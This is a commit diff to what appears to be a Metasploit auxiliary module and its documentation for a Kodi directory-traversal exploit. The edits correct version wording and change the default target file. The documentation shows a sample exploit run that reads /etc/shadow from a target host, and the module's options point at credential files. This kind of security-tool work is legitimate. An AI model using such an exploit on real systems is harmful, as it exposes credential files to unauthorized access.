Take into account @h00die's comments.
parent
7bd6aff1cf
commit
73eed104a9
|
@ -1,17 +1,18 @@
|
|||
## Vulnerable Application
|
||||
|
||||
This module exploits an arbitrary file disclosure vulnerability in Kodi 17.1.
|
||||
This module exploits an arbitrary file disclosure vulnerability in Kodi before 17.1.
|
||||
|
||||
**Vulnerable Application Installation Steps**
|
||||
|
||||
Grab whatever image from [libreelec](https://libreelec.tv/downloads/) if
|
||||
you're lazy, or [install kodi from scratch](http://kodi.wiki/view/HOW-TO:Install_Kodi_for_Linux).
|
||||
you're lazy, like the [one for the Rpi2](http://releases.libreelec.tv/LibreELEC-RPi2.arm-7.0.3.img.gz),
|
||||
or [install kodi from scratch](http://kodi.wiki/view/HOW-TO:Install_Kodi_for_Linux).
|
||||
|
||||
You'll need a version lower than 17.1.
|
||||
You'll need a version lower than 17.1 of Kodi.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
A successful check of the exploit will look like this:
|
||||
A successful run of the exploit will look like this:
|
||||
|
||||
```
|
||||
msf > use auxiliary/scanner/http/kodi_traversal
|
||||
|
@ -19,6 +20,8 @@ msf auxiliary(kodi_traversal) > set RPORT 8080
|
|||
RPORT => 8080
|
||||
msf auxiliary(kodi_traversal) > set RHOSTS 192.168.0.31
|
||||
RHOSTS => 192.168.0.31
|
||||
msf auxiliary(kodi_traversal) > set FILE /etc/shadow
|
||||
FILE => /etc/shadow
|
||||
msf auxiliary(kodi_traversal) > run
|
||||
|
||||
[*] Reading '/etc/shadow'
|
||||
|
@ -35,6 +38,4 @@ dbus:*:::::::
|
|||
system:*:::::::
|
||||
sshd:*:::::::
|
||||
avahi:*:::::::
|
||||
msf auxiliary(kodi_traversal) > info
|
||||
|
||||
```
|
||||
|
|
|
@ -13,9 +13,9 @@ class MetasploitModule < Msf::Auxiliary
|
|||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Kodi 17.1 Local File Inclusion Vulnerability',
|
||||
'Name' => 'Kodi 17.0 Local File Inclusion Vulnerability',
|
||||
'Description' => %q{
|
||||
This module exploits a directory traversal flaw found in Kodi 17.1.
|
||||
This module exploits a directory traversal flaw found in Kodi before 17.1.
|
||||
},
|
||||
'References' =>
|
||||
[
|
||||
|
@ -33,7 +33,7 @@ class MetasploitModule < Msf::Auxiliary
|
|||
register_options(
|
||||
[
|
||||
OptString.new('TARGETURI', [true, 'The URI path to the web application', '/']),
|
||||
OptString.new('FILE', [true, 'The file to obtain', '/etc/shadow']),
|
||||
OptString.new('FILE', [true, 'The file to obtain', '/etc/passwd']),
|
||||
OptInt.new('DEPTH', [true, 'The max traversal depth to root directory', 10])
|
||||
], self.class)
|
||||
end
|
||||
|
@ -77,7 +77,7 @@ class MetasploitModule < Msf::Auxiliary
|
|||
print_good("#{fname} stored as '#{p}'")
|
||||
|
||||
else
|
||||
print_error("Fail to obtain file for some unknown reason")
|
||||
print_error('Fail to obtain file for some unknown reason')
|
||||
end
|
||||
end
|
||||
|
||||
|
|
Loading…
Reference in New Issue